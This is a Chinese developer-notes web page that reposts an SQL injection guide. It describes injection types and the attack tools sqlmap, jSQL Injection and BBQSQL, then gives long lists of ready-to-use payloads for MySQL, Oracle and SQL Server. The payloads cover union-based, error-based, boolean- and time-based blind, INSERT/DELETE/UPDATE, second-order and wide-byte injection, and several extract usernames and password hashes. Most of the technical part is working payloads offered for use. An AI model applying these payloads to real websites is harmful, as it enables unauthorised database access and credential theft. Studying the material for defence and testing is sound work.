热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:sql注入最全攻略

篇首语:本文由编程笔记#小编为大家整理,主要介绍了sql注入最全攻略相关的知识,希望对你有一定的参考价值。 转载已得到作者授权。 前言 0 1

篇首语:本文由编程笔记#小编为大家整理,主要介绍了sql注入最全攻略相关的知识,希望对你有一定的参考价值。


转载已得到作者授权。



前言






0
1




Sql注入基本简述























SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。















为什么一定要学习SQL注入?




sql注入最全攻略










    


    因为SQL注入它的危险性比较高的,而且出现的机率也比平常的漏洞大,利用起来相对于其他的漏洞更为直接。SQL注入已经出现了很久了,但是它的漏洞依然没有减少,因此学习SQL注入对于我们来说是多了一种挖洞方向。




SQL注入的基本分类







1、参数类型分类


数字型注入:输入参数为整型时,如Id、年龄和页码等;


字符型注入:输入参数为字符串型时,如姓名、职业、住址等;


    两者最大的区别:字符型注入一般要使用单引号进行闭合,而数字型注入则不需要;


2、注入位置分类


GET注入:注入字符在URL参数中;


POST注入:注入字段在POSt提交的数据中;


COOKIE注入:注入字段在COOKIE数据中,网站使用通用的防注入程序,会对GET、POST提交的数据进行过滤,却往往遗漏COOKIE中的数据进行过滤。


其他注入:HTTP请求的其他内容触发的SQL注入漏洞;


3、结果反馈分类


盲注入:盲注入不会展现任何数据库报错内容,它是依据构造真或假的问题对数据库进行“提问”,注入方式主要有两种:基于布尔值与基于时间。


3.1、基于布尔值


如在mysql中判断数据名长度的输入为1' and length(database()) = 10 #,通过相应的正确与否判断数据名的长度是否为10,猜测数据库中数据的具体内容时,可以借助书本上SUBSTR、LIMIT、ASCII等一些特殊的命令及函数进行猜测;


3.2、基于时间


基于时间的SQL盲注入方式通常是在SQL语句中添加延时函数,依据相应时间来判断是否存在SQL注入,常用的延时函数或指令有sleep、repeat等。


总结:盲注入提交SQL命令较多,通常通过手工方式无法完成,借用工具如SQLMAP。


非盲注入(正常SQL注入):执行注入SQL语句将敏感信息展示出来,并进行进一步的操作。


4、其他类型


延时注入:使用延时函数方式;


搜索注入:注入点在搜索框中;


编码注入:将输入的字符串进行编码,如base64编码;


堆查询注入:同时执行多条语句;


联合查询注入:使用union操作码合并两条或多条SQL语句;


多阶注入:由多个HTTP请求响应共同完成的注入;



















Sql注入常用的工具:




1.SQLMap


SQLMap是一款开源渗透测试工具,可用于自动检测和利用SQL注入漏洞,并接管数据库服务器。Sqlmap 是一个基于命令行的半自动化SQL注入攻击工具。在我们使用扫描器或者是手工发现了一个SQL注入点后,通常需要验证注入点是否是一个可以利用的点,这个时候就可以利用sqlmap来完成。


特点



  • 支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB,HSQLDB和Informix数据库管理系统。


  • 支持六种SQL注入技术:基于布尔的盲注,基于时间的盲注,基于错误的注入,基于UNION查询,堆叠查询和Out-of-Band 注入攻击。



  • 支持枚举用户,密码哈希,特权A,角色,数据库,表和列。


  • 自动识别密码哈希格式并支持使用基于字典的攻击来破解它们。


  • 支持根据用户的选择完全转储数据库表,一系列条目或特定列。用户还可以选择仅转储每列条目中的一部分字符。


  • 支持搜索特定数据库名称,所有数据库中的特定表或所有数据库表中的特定列。例如,这对于识别包含自定义应用程序凭据的表很有用,其中相关列的名称包含诸如name和pass之类的字符串。


  • 当数据库软件是MySQL,PostgreSQL或Microsoft SQL Server时,支持从数据库服务器基础文件系统下载和上传任何文件。


  • 支持以执行任意指令和检索他们的标准输出底层当数据库软件MySQL和PostgreSQL或Microsoft SQL Server操作系统的数据库服务器上。


  • 支持在攻击者机器与底层操作系统的数据库服务器之间建立带外状态TCP连接。根据用户的选择,此通道可以是交互式命令提示符,Meterpreter会话或图形用户界面(VNC)会话。


  • 通过Metasploit的Meterpreter 命令支持数据库进程的用户权限升级



下载安装


SQLMap官网下载:sqlmap.org/#


压缩包下载:github.com/sqlmapprojec


你可以通过Git存储库来下载:


git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

在安装本工具时,要求先安装Python


2.jSQL Injection


jSQL Injection是一个轻量级的应用程序,用于从远程服务器查找数据库信息。jSQL是免费的,开源的和可多平台使用的(Windows,Linux,Mac OS X,Solaris)。


jSQL injection是一款由JAVA开发的SQL自动化注入工具,它提供了数据库查询、后台爆破、文件读取、Web shell、SQL Shell、文件上传、暴力枚举、编码、批量注入测试等强大的功能,是一款非常不错的工具,也是渗透测试人员的强大助手。它支持GET\POST注入,同时也可以进行HTTP头注入(这个需要用户自动构建)。与sqlmap相比,其拥有图形化的界面和完整的中文支持



sql注入最全攻略

功能



  • 自动注入23种数据库:Access,CockroachDB,CUBRID,DB2,Derby,Firebird,H2,Hana,HSQLDB,Informix,Ingres,MaxDB,Mckoi,MySQL,Neo4j,NuoDB,Oracle,PostgreSQL,SQLite,SQL Server,Sybase ,Teradata和Vertica


  • 多种注入策略:Normal, Error, Blind 和 Time


  • 多种注入结构:Standard, Zipped, Dump In One Shot


  • SQL Engine用于研究和优化SQL表达式


  • 注入多个目标


  • 搜索管理页面


  • Web shell和SQL shell的创建和虚拟化


  • 使用注入在主机上读写文件


  • 密码的哈希强制


  • 对字符串进行编码和解码



下载安装


在安装之前你需要安装JAVA(java.com/)


然后下载jSQL Injection:github.com/ron190/jsql-


也可以输入java -jar jsql-injection-v0.81.jar 您的终端来启动该程序。


如果您正在使用Kali Linux,那么使用命令获取最新版本sudo apt-get -f install jsql,或者使用apt update 当时的系统进行全面升级apt full-upgrade


3.盲注工具BBQSQL


SQL盲注可是一个痛苦的过程。当工具都正常工作时,它们表现得很好,但是当它们无效时,你必须自己编写一些自定义的东西,这个过程既费时又乏味。而这一款盲注工具BBQSQL可以帮助我们解决这些问题。


BBQSQL是一款用Python编写的SQL盲注框架。在攻击棘手的SQL注入漏洞时,它会显得非常有用。BBQSQL还是一款半自动工具,可以为不会发现SQL注入点的用户提供大量自定义功能。该工具可与数据库无关,并且用途极为广泛。它还具有非常直观的用户界面,使设置攻击变得更加容易。同时,它也实现了Python gevent,这些都使BBQSQL非常快。



sql注入最全攻略

特征


注意,BBQSQL最重要的是它不关心数据或数据库,而大多数SQL注入工具是要具体的数据库或语言建立的。



  • 利用SQL盲注漏洞


  • 半自动


  • 与数据库无关


  • 多功能


  • 利用两种搜索技术(二元搜索和按频次搜索)


  • 并发的HTTP请求


  • 配置导入/导出


  • 自定义的Hooks


  • 高速



使用


类似于其他的SQL注入工具,必须为它的运作提供一定的请求信息。BBQSQL如下:



  • URL


  • HTTP方法


  • 标题


  • COOKIEs


  • 编码方法


  • 重定向方式


  • 文件夹


  • HTTP认证


  • 代理



指定注入的位置和语法:




HTTP参数


BBQSQL有许多HTTP参数配置时,便可以设置攻击。至少你必须提供想要注入发生的UR和方法。可以设置以下选项:



  • 文件夹


  • 标题


  • COOKIEs


  • URL


  • 允许重新使用


  • 代理


  • 数据


  • 方法


  • 认证



使用模板 ${injection}. } 来插入SQL注入查询的位置。如果没有注入模板,工具将不知道从何下手,插入SQL注入。


下载安装


sudo pip install bbqsql

如果不行的话也可以使用源码下载:github.com/Neohapsis/bb


目前就介绍这些比较主流的工具,其他优秀的工具还有:NoSQLMapWhitewidow,exploBlind-Sql-Bitshifting......


有兴趣的可以去了解学习一下


Sql注入技术总结:


当然,用工具是好用,但是手工注入也必须掌握,我们也需要掌握基本的注入原理


0x01 Mysql 手工注入


1.1 联合注入


















?id=1' order by 4--+?id=0' union select 1,2,3,database()--+?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+#group_concat 可替换为 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+


1.2 报错注入




































1.floor()select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()select * from test where id=1 and exp(~(select * from(select user())a));


每个一个报错语句都有它的原理:


exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。


updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。













爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)


这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:











substr(string string,num start,num length);#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +


1.3 盲注


1.3.1 时间盲注


时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)


一般时间盲注我们还需要使用条件判断函数










#if(expre1,expre2,expre3)当 expre1 为 true 时,返回 expre2,false 时,返回 expre3
#盲注的同时也配合着 mysql 提供的分割函substr、substring、left









?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+




1.3.2 布尔盲注











?id=1' and substr((select user()),1,1)='r' -- +?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1




1.4 insert,delete,update


insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入




1.4.1 报错
























mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;+------+-----------------------------------------------+----------+| id | username | password |+------+-----------------------------------------------+----------+| 1 | admin | admin || 1 | and 1=1 | admin || 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |+------+-----------------------------------------------+----------+3 rows in set (0.00 sec)
mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为falsemysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'




1.4.2 盲注









































#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");Query OK, 1 row affected (0.00 sec)
#字符型注意闭合不能使用andmysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");Query OK, 1 row affected (5.01 sec)
# delete 函数 or 右边一定要为 falsemysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);Query OK, 0 rows affected (5.00 sec)
#update 更新数据内容mysql> select * from admin;+------+----------+----------+| id | username | password |+------+----------+----------+| 2 | 1 | admin || 2 | 1 | admin || 2 | 1 | admin || 2 | admin | admin |+------+----------+----------+4 rows in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=2;Query OK, 4 rows affected (20.00 sec)Rows matched: 4 Changed: 4 Warnings: 0




1.5 二次注入与宽字节注入


二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。



















mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;+----+-----------+-------+| id | name | pass |+----+-----------+-------+| 1 | admin | admin || 2 | admin'111 | 11111 || 3 | admin'--+ | 11 |+----+-----------+-------+4 rows in set (0.00 sec)




二次注入在没有源码的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将 admin'--+ 误认为 admin 账户




宽字节注入:针对目标做了一定的防护,单引号转变为 \' , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入














id=-1%df' union select...
#没使用宽字节%27 -> %5C%27
#使用宽字节%df%27 -> %df%5c%27 -> 運'




0x02 Oracle 手工注入


2.1 联合注入











?id=-1' union select user,null from dual--?id=-1' union select version,null from v$instance--?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--?id=-1' union select username,passwd from users--?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--




2.2 报错注入










?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--




2.3 盲注


2.3.1 布尔盲注


盲注肯定会涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);


该函数的含义如下:















IF 条件=值1 THEN    RETURN(返回值1)ELSIF 条件=值2 THEN    RETURN(返回值2)    ......ELSIF 条件=值n THEN    RETURN(返回值n)ELSE    RETURN(缺省值)END IF









?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--?id=1' and ascii(substr(user,1,1))> 64-- #二分法




2.3.2 时间盲注


于此同时使用DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)函数进行时间盲注







?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--




0x03 SQL server 手工注入


3.1 联合注入















?id=-1' union select null,null--?id=-1' union select @@servername, @@version--?id=-1' union select db_name(),suser_sname()--?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--


3.2 报错注入









?id=1' and 1=(select 1/@@servername)--?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--


3.3 盲注


3.3.1 布尔盲注








?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--


3.3.2 时间盲注







?id= 1';if(2>1) waitfor delay '0:0:5'--?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay '0:0:2'--




加入我们的星球,认识更多大佬,领取更多干活





推荐阅读
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • [译]技术公司十年经验的职场生涯回顾
    本文是一位在技术公司工作十年的职场人士对自己职业生涯的总结回顾。她的职业规划与众不同,令人深思又有趣。其中涉及到的内容有机器学习、创新创业以及引用了女性主义者在TED演讲中的部分讲义。文章表达了对职业生涯的愿望和希望,认为人类有能力不断改善自己。 ... [详细]
  • 本文介绍了使用postman进行接口测试的方法,以测试用户管理模块为例。首先需要下载并安装postman,然后创建基本的请求并填写用户名密码进行登录测试。接下来可以进行用户查询和新增的测试。在新增时,可以进行异常测试,包括用户名超长和输入特殊字符的情况。通过测试发现后台没有对参数长度和特殊字符进行检查和过滤。 ... [详细]
  • 数字账号安全与数据资产问题的研究及解决方案
    本文研究了数字账号安全与数据资产问题,并提出了解决方案。近期,大量QQ账号被盗事件引起了广泛关注。欺诈者对数字账号的价值认识超过了账号主人,因此他们不断攻击和盗用账号。然而,平台和账号主人对账号安全问题的态度不正确,只有用户自身意识到问题的严重性并采取行动,才能推动平台优先解决这些问题。本文旨在提醒用户关注账号安全,并呼吁平台承担起更多的责任。令牌云团队对此进行了长期深入的研究,并提出了相应的解决方案。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • 转自:http:www.phpweblog.netfuyongjiearchive200903116374.html一直对字符的各种编码方式懵懵懂懂,什 ... [详细]
  • 一、Hadoop来历Hadoop的思想来源于Google在做搜索引擎的时候出现一个很大的问题就是这么多网页我如何才能以最快的速度来搜索到,由于这个问题Google发明 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • 本文详细介绍了MysqlDump和mysqldump进行全库备份的相关知识,包括备份命令的使用方法、my.cnf配置文件的设置、binlog日志的位置指定、增量恢复的方式以及适用于innodb引擎和myisam引擎的备份方法。对于需要进行数据库备份的用户来说,本文提供了一些有价值的参考内容。 ... [详细]
  • 如何用UE4制作2D游戏文档——计算篇
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了如何用UE4制作2D游戏文档——计算篇相关的知识,希望对你有一定的参考价值。 ... [详细]
  • 本文介绍了高校天文共享平台的开发过程中的思考和规划。该平台旨在为高校学生提供天象预报、科普知识、观测活动、图片分享等功能。文章分析了项目的技术栈选择、网站前端布局、业务流程、数据库结构等方面,并总结了项目存在的问题,如前后端未分离、代码混乱等。作者表示希望通过记录和规划,能够理清思路,进一步完善该平台。 ... [详细]
  • 腾讯安全平台部招聘安全工程师和数据分析工程师
    腾讯安全平台部正在招聘安全工程师和数据分析工程师。安全工程师负责安全问题和安全事件的跟踪和分析,提供安全测试技术支持;数据分析工程师负责安全产品相关系统数据统计和分析挖掘,通过用户行为数据建模为业务决策提供参考。招聘要求包括熟悉渗透测试和常见安全工具原理,精通Web漏洞,熟练使用多门编程语言等。有相关工作经验和在安全站点发表作品的候选人优先考虑。 ... [详细]
  • 渗透测试基础bypass绕过阻挡我们的WAF(下)
    渗透测试基础-bypass ... [详细]
author-avatar
泱泱大国吴
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有